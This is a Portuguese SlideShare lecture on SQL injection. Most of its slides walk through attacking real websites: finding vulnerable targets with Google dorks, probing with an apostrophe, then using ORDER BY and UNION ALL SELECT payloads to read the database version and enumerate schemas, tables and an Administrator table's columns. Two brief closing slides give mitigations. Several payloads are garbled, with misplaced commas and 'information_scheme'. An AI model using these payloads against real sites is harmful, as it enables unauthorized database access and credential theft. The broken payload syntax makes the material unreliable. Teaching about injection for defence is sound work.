SlideShare una empresa de Scribd logo
1 de 21
Carlos Henrique M. da Silva
carloshenrique.85@globo.com
Injeção SQL é um ataque no qual um código mal-
intencionado é inserido em cadeias de caracteres que são
passadas posteriormente para uma instância do SQL
Server para análise e execução.
Primeiramente devemos encontrar um site vulnerável a injeção SQL.
Para isso, usaremos o google.
No google o termo "Dork" é frequentemente utilizado para encontrar
sites vulneráveis. Um exemplo de um "google dork" é inurl:?
index.php id = . Neste exemplo retornam todos os sites a partir do
cache do Google com a string index.php? id = ou ? news.php id = .
Na URL para um site ser vulnerável a injeções SQL, tem que fazer uso
do parâmetro $ _GET como na URL:
http://www.targetwebsite.com/news.php?id=4
onde id = 4 é o GET parâmetro, pois
está recebendo o id = 4 a partir do
banco de dados back-end.
Para verificar se o site é vulnerável a SQL Injection, a
forma mais comum é apenas adicionar um apóstrofo ( ' ),
após um dos parâmetros na URL.
http://www.targetwebsite.com/news.php?id=4 '
Se o site é vulnerável, ele provavelmente irá exibir um
erro como abaixo:
Você tem um erro em sua sintaxe SQL
Warning: Invalid argument supplied for foreach()
in E:wwwportaleditincdata.php on line 267
Warning: mysql_num_rows ()
Warning: mysql_fetch_assoc ()
Warning: mysql_result ()
Warning: mysql_fetch_array ()
Aviso: mysql_numrows ()
Aviso: mysql_preg_match ()
Há uma série de maneiras de fazer isso como ORDER BY
ou GROUP BY. Aqui vamos usar ORDER BY. Para encontrar
o número de colunas, vamos começar com ORDER BY 1.
http://www.targetwebsite.com/ne
ws.php?id=4 ORDER BY 1 -
Este é um passo importante: se a versão do MySQL é menor do que
5, então temos que adivinhar o nome das tabelas e colunas para
injetar o que é muitas vezes trabalhoso. Antes de encontrar a
versão da coluna, temos que encontrar o número da coluna visível
para injetar a nossa consulta, a fim de obter o resultado. Para fazer
isso, vamos usar as declarações SELECT e UNION ALL.
http://www.targetwebsite.com/news.php?id=4
UNION ALL SELECT 1,2,3,4–
existem duas maneiras: version() ou @@version , como
abaixo:
http://www.targetwebsite.com/news.php?id=-4 1,2
UNION ALL SELECT, group_concat (version ()), 4 –
http://www.targetwebsite.com/news.php?id=-4 1,2
UNION ALL SELECT, group_concat (@ @ version), 4 -
Às vezes o banco de dados atual da página que está sendo executado
não contém informações úteis, como nome de usuário e
senhas. Portanto, é útil dar uma olhada em todas as bases de
dados. No MySQL versão 5 ou superior, há sempre um banco de dados
chamado information_schema que torna a injeção de SQL mais
fácil. Para obter a lista das bases de dados proceda como abaixo:
http://www.targetwebsite.com/news.php?id=-4
1,2 UNION ALL SELECT, group_concat
(schema_name), 4 from
information_schema.schemata-
É bom verificar o nome da tabela de todos os bancos de
dados, porque às vezes o banco de dados atual não
contém qualquer informação útil. Para obter os nomes das
tabelas do banco de dados atual:
http://www.targetwebsite.com/news.php?id=-4
1,2 UNION ALL SELECT, group_concat
(table_name), 4 from information_scheme.tables
where table_schema = database () -
Agora, para extrair os dados da tabela do Administrador ,
precisamos encontrar as colunas nele. Para obter este faria
de entrada a seguinte consulta:
http://www.targetwebsite.com/news.php?id=-4
UNION ALL SELECT
1,2,group_concat(column_name),4 from
information_schema.columns where
table_name=0x41646d696e6973747261746f72–
Tutorial Completo disponível em:
http://underurhat.com/hacking/tu
torials/url-based-sql-injection-
tutorial/
http://www.youtube.com/watch?v=DJCSOFuek7Y
VÍDEO TUTORIAL:
Declarar minhas variáveis dos parâmetros GET e POST
como inteiros. Bloqueando assim qualquer string que
venha a ser inputado na minha url.
Filtre todo o tipo de variável dados que vem de urls ou
inputs de formulário $_GET ou $_POST para que nenhum
dos dados inputados pelo usuário possa ser interpretado
como parte da instrução SQL.
 Formado em Análise de Sistemas
 Pós-Graduado em Auditoria em T.I.
 Gerente de TI da CLIOC – Coleção de Leishmania do
Instituto Oswaldo Cruz – Fiocruz
 Certificado em Gestão de Segurança da Informação e
Gerenciamento de T.I. pela Academia Latino-Americana
(Microsoft TechNet / Módulo Security)
Carlos Henrique M. da Silva
carloshenrique.85@globo.com

Más contenido relacionado

La actualidad más candente

Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...
Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...
Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...
Simplilearn
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
Dmitry Evteev
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
Ali Mattash
 

La actualidad más candente (20)

Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016
 
SQL Injections (Part 1)
SQL Injections (Part 1)SQL Injections (Part 1)
SQL Injections (Part 1)
 
Introduction to Web Application Penetration Testing
Introduction to Web Application Penetration TestingIntroduction to Web Application Penetration Testing
Introduction to Web Application Penetration Testing
 
Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...
Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...
Ethical Hacking Certifications | Certified Ethical Hacker | Ethical Hacking |...
 
Persistant Cookies and LDAP Injection
Persistant Cookies and LDAP InjectionPersistant Cookies and LDAP Injection
Persistant Cookies and LDAP Injection
 
File upload vulnerabilities & mitigation
File upload vulnerabilities & mitigationFile upload vulnerabilities & mitigation
File upload vulnerabilities & mitigation
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 
13 Java Script - Validação de formulário
13 Java Script  - Validação de formulário13 Java Script  - Validação de formulário
13 Java Script - Validação de formulário
 
Advanced Sql Injection ENG
Advanced Sql Injection ENGAdvanced Sql Injection ENG
Advanced Sql Injection ENG
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
Aula 6 - Ataques de Negação de Serviço (DoS e D-DoS)
 
Access control
Access controlAccess control
Access control
 
Local File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code ExecutionLocal File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code Execution
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Sql injection
Sql injectionSql injection
Sql injection
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
Web security
Web securityWeb security
Web security
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 

Destacado

Bibliografia recomendada - programação C
Bibliografia recomendada - programação CBibliografia recomendada - programação C
Bibliografia recomendada - programação C
Luiz Arthur
 

Destacado (14)

Aula 9 - Backdoor
Aula 9 - BackdoorAula 9 - Backdoor
Aula 9 - Backdoor
 
Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)
 
Bibliografia recomendada - programação C
Bibliografia recomendada - programação CBibliografia recomendada - programação C
Bibliografia recomendada - programação C
 
Invasão e Segurança
Invasão e SegurançaInvasão e Segurança
Invasão e Segurança
 
Aula 2 - Gestão de Riscos
Aula 2 - Gestão de RiscosAula 2 - Gestão de Riscos
Aula 2 - Gestão de Riscos
 
Aula 5 - Assinatura e Certificado Digital
Aula 5 - Assinatura e Certificado DigitalAula 5 - Assinatura e Certificado Digital
Aula 5 - Assinatura e Certificado Digital
 
Segurança da Informação Aplicada a Negócios
Segurança da Informação Aplicada a NegóciosSegurança da Informação Aplicada a Negócios
Segurança da Informação Aplicada a Negócios
 
Aula 7 - Ataque de Força Bruta
Aula 7 - Ataque de Força BrutaAula 7 - Ataque de Força Bruta
Aula 7 - Ataque de Força Bruta
 
Aula 4 - Plano de Continuidade de Negócios (PCN)
Aula 4 - Plano de Continuidade de Negócios (PCN)Aula 4 - Plano de Continuidade de Negócios (PCN)
Aula 4 - Plano de Continuidade de Negócios (PCN)
 
Aula 3 - Política de Segurança da Informação (PSI)
Aula 3 - Política de Segurança da Informação (PSI)Aula 3 - Política de Segurança da Informação (PSI)
Aula 3 - Política de Segurança da Informação (PSI)
 
Deep web
Deep webDeep web
Deep web
 
Guia Salarial 2017 Robert Half Brasil
Guia Salarial 2017 Robert Half BrasilGuia Salarial 2017 Robert Half Brasil
Guia Salarial 2017 Robert Half Brasil
 
Aula 1 - Introdução a Segurança da Informação
Aula 1 - Introdução a Segurança da InformaçãoAula 1 - Introdução a Segurança da Informação
Aula 1 - Introdução a Segurança da Informação
 
Projeto em Seguranca da Informação
Projeto em Seguranca da InformaçãoProjeto em Seguranca da Informação
Projeto em Seguranca da Informação
 

Similar a Aula 8 - SQL Injection

3260 php truquesmagicos %281%29
3260 php truquesmagicos %281%293260 php truquesmagicos %281%29
3260 php truquesmagicos %281%29
Juliana Nascimento
 
Odi tutorial configuração repositórios mestre e trabalho
Odi tutorial   configuração repositórios mestre e trabalhoOdi tutorial   configuração repositórios mestre e trabalho
Odi tutorial configuração repositórios mestre e trabalho
Caio Lima
 
Apostila: Curso de java III
Apostila: Curso de java IIIApostila: Curso de java III
Apostila: Curso de java III
Verônica Veiga
 

Similar a Aula 8 - SQL Injection (20)

etetet
etetetetetet
etetet
 
3260 php truquesmagicos %281%29
3260 php truquesmagicos %281%293260 php truquesmagicos %281%29
3260 php truquesmagicos %281%29
 
3260 php truquesmagicos
3260 php truquesmagicos3260 php truquesmagicos
3260 php truquesmagicos
 
UNIFAL - MySQL Linguagem SQL Básico - 5.0/5.6
UNIFAL - MySQL Linguagem SQL Básico - 5.0/5.6UNIFAL - MySQL Linguagem SQL Básico - 5.0/5.6
UNIFAL - MySQL Linguagem SQL Básico - 5.0/5.6
 
Crud
CrudCrud
Crud
 
Banco de dadados MySQL com PHP
Banco de dadados MySQL com PHPBanco de dadados MySQL com PHP
Banco de dadados MySQL com PHP
 
Apostila PhP com Wamp 3a Parte
Apostila PhP com Wamp 3a ParteApostila PhP com Wamp 3a Parte
Apostila PhP com Wamp 3a Parte
 
Java13
Java13Java13
Java13
 
Odi tutorial configuração repositórios mestre e trabalho
Odi tutorial   configuração repositórios mestre e trabalhoOdi tutorial   configuração repositórios mestre e trabalho
Odi tutorial configuração repositórios mestre e trabalho
 
Stored Procedures and Triggers
Stored Procedures and TriggersStored Procedures and Triggers
Stored Procedures and Triggers
 
Apostila: Curso de java III
Apostila: Curso de java IIIApostila: Curso de java III
Apostila: Curso de java III
 
Prog web 05-php-mysql
Prog web 05-php-mysqlProg web 05-php-mysql
Prog web 05-php-mysql
 
Banco de Dados - MySQL Basico
Banco de Dados - MySQL BasicoBanco de Dados - MySQL Basico
Banco de Dados - MySQL Basico
 
Python 04
Python 04Python 04
Python 04
 
Dsi 015 - poo e php - conexão com bancos de dados usando pdo
Dsi   015 - poo e php - conexão com bancos de dados usando pdoDsi   015 - poo e php - conexão com bancos de dados usando pdo
Dsi 015 - poo e php - conexão com bancos de dados usando pdo
 
Introdução ao MySQL - EuDala SF 2023.pptx
Introdução ao MySQL - EuDala SF 2023.pptxIntrodução ao MySQL - EuDala SF 2023.pptx
Introdução ao MySQL - EuDala SF 2023.pptx
 
Apresentação formação web - up marketing digital - módulo ii - 2º fds
Apresentação   formação web - up marketing digital - módulo ii - 2º fdsApresentação   formação web - up marketing digital - módulo ii - 2º fds
Apresentação formação web - up marketing digital - módulo ii - 2º fds
 
Desenvolvimento de Sistemas Web com PHP Frameworks - Aula 3 - 2019.1
Desenvolvimento de Sistemas Web com PHP Frameworks - Aula 3 - 2019.1Desenvolvimento de Sistemas Web com PHP Frameworks - Aula 3 - 2019.1
Desenvolvimento de Sistemas Web com PHP Frameworks - Aula 3 - 2019.1
 
Alo mundojpa
Alo mundojpaAlo mundojpa
Alo mundojpa
 
Alo mundojpa
Alo mundojpaAlo mundojpa
Alo mundojpa
 

Último

Último (9)

Boas práticas de programação com Object Calisthenics
Boas práticas de programação com Object CalisthenicsBoas práticas de programação com Object Calisthenics
Boas práticas de programação com Object Calisthenics
 
ATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docx
ATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docxATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docx
ATIVIDADE 1 - CUSTOS DE PRODUÇÃO - 52_2024.docx
 
ATIVIDADE 1 - SISTEMAS DISTRIBUÍDOS E REDES - 52_2024.docx
ATIVIDADE 1 - SISTEMAS DISTRIBUÍDOS E REDES - 52_2024.docxATIVIDADE 1 - SISTEMAS DISTRIBUÍDOS E REDES - 52_2024.docx
ATIVIDADE 1 - SISTEMAS DISTRIBUÍDOS E REDES - 52_2024.docx
 
ATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docx
ATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docxATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docx
ATIVIDADE 1 - GCOM - GESTÃO DA INFORMAÇÃO - 54_2024.docx
 
Padrões de Projeto: Proxy e Command com exemplo
Padrões de Projeto: Proxy e Command com exemploPadrões de Projeto: Proxy e Command com exemplo
Padrões de Projeto: Proxy e Command com exemplo
 
Luís Kitota AWS Discovery Day Ka Solution.pdf
Luís Kitota AWS Discovery Day Ka Solution.pdfLuís Kitota AWS Discovery Day Ka Solution.pdf
Luís Kitota AWS Discovery Day Ka Solution.pdf
 
ATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docx
ATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docxATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docx
ATIVIDADE 1 - LOGÍSTICA EMPRESARIAL - 52_2024.docx
 
ATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docx
ATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docxATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docx
ATIVIDADE 1 - ESTRUTURA DE DADOS II - 52_2024.docx
 
Programação Orientada a Objetos - 4 Pilares.pdf
Programação Orientada a Objetos - 4 Pilares.pdfProgramação Orientada a Objetos - 4 Pilares.pdf
Programação Orientada a Objetos - 4 Pilares.pdf
 

Aula 8 - SQL Injection

  • 1. Carlos Henrique M. da Silva carloshenrique.85@globo.com
  • 2. Injeção SQL é um ataque no qual um código mal- intencionado é inserido em cadeias de caracteres que são passadas posteriormente para uma instância do SQL Server para análise e execução.
  • 3.
  • 4. Primeiramente devemos encontrar um site vulnerável a injeção SQL. Para isso, usaremos o google. No google o termo "Dork" é frequentemente utilizado para encontrar sites vulneráveis. Um exemplo de um "google dork" é inurl:? index.php id = . Neste exemplo retornam todos os sites a partir do cache do Google com a string index.php? id = ou ? news.php id = . Na URL para um site ser vulnerável a injeções SQL, tem que fazer uso do parâmetro $ _GET como na URL: http://www.targetwebsite.com/news.php?id=4 onde id = 4 é o GET parâmetro, pois está recebendo o id = 4 a partir do banco de dados back-end.
  • 5. Para verificar se o site é vulnerável a SQL Injection, a forma mais comum é apenas adicionar um apóstrofo ( ' ), após um dos parâmetros na URL. http://www.targetwebsite.com/news.php?id=4 '
  • 6. Se o site é vulnerável, ele provavelmente irá exibir um erro como abaixo: Você tem um erro em sua sintaxe SQL Warning: Invalid argument supplied for foreach() in E:wwwportaleditincdata.php on line 267 Warning: mysql_num_rows () Warning: mysql_fetch_assoc () Warning: mysql_result () Warning: mysql_fetch_array () Aviso: mysql_numrows () Aviso: mysql_preg_match ()
  • 7. Há uma série de maneiras de fazer isso como ORDER BY ou GROUP BY. Aqui vamos usar ORDER BY. Para encontrar o número de colunas, vamos começar com ORDER BY 1. http://www.targetwebsite.com/ne ws.php?id=4 ORDER BY 1 -
  • 8. Este é um passo importante: se a versão do MySQL é menor do que 5, então temos que adivinhar o nome das tabelas e colunas para injetar o que é muitas vezes trabalhoso. Antes de encontrar a versão da coluna, temos que encontrar o número da coluna visível para injetar a nossa consulta, a fim de obter o resultado. Para fazer isso, vamos usar as declarações SELECT e UNION ALL. http://www.targetwebsite.com/news.php?id=4 UNION ALL SELECT 1,2,3,4–
  • 9. existem duas maneiras: version() ou @@version , como abaixo: http://www.targetwebsite.com/news.php?id=-4 1,2 UNION ALL SELECT, group_concat (version ()), 4 – http://www.targetwebsite.com/news.php?id=-4 1,2 UNION ALL SELECT, group_concat (@ @ version), 4 -
  • 10. Às vezes o banco de dados atual da página que está sendo executado não contém informações úteis, como nome de usuário e senhas. Portanto, é útil dar uma olhada em todas as bases de dados. No MySQL versão 5 ou superior, há sempre um banco de dados chamado information_schema que torna a injeção de SQL mais fácil. Para obter a lista das bases de dados proceda como abaixo: http://www.targetwebsite.com/news.php?id=-4 1,2 UNION ALL SELECT, group_concat (schema_name), 4 from information_schema.schemata-
  • 11. É bom verificar o nome da tabela de todos os bancos de dados, porque às vezes o banco de dados atual não contém qualquer informação útil. Para obter os nomes das tabelas do banco de dados atual: http://www.targetwebsite.com/news.php?id=-4 1,2 UNION ALL SELECT, group_concat (table_name), 4 from information_scheme.tables where table_schema = database () -
  • 12. Agora, para extrair os dados da tabela do Administrador , precisamos encontrar as colunas nele. Para obter este faria de entrada a seguinte consulta: http://www.targetwebsite.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x41646d696e6973747261746f72–
  • 13. Tutorial Completo disponível em: http://underurhat.com/hacking/tu torials/url-based-sql-injection- tutorial/
  • 15.
  • 16.
  • 17.
  • 18. Declarar minhas variáveis dos parâmetros GET e POST como inteiros. Bloqueando assim qualquer string que venha a ser inputado na minha url.
  • 19. Filtre todo o tipo de variável dados que vem de urls ou inputs de formulário $_GET ou $_POST para que nenhum dos dados inputados pelo usuário possa ser interpretado como parte da instrução SQL.
  • 20.
  • 21.  Formado em Análise de Sistemas  Pós-Graduado em Auditoria em T.I.  Gerente de TI da CLIOC – Coleção de Leishmania do Instituto Oswaldo Cruz – Fiocruz  Certificado em Gestão de Segurança da Informação e Gerenciamento de T.I. pela Academia Latino-Americana (Microsoft TechNet / Módulo Security) Carlos Henrique M. da Silva carloshenrique.85@globo.com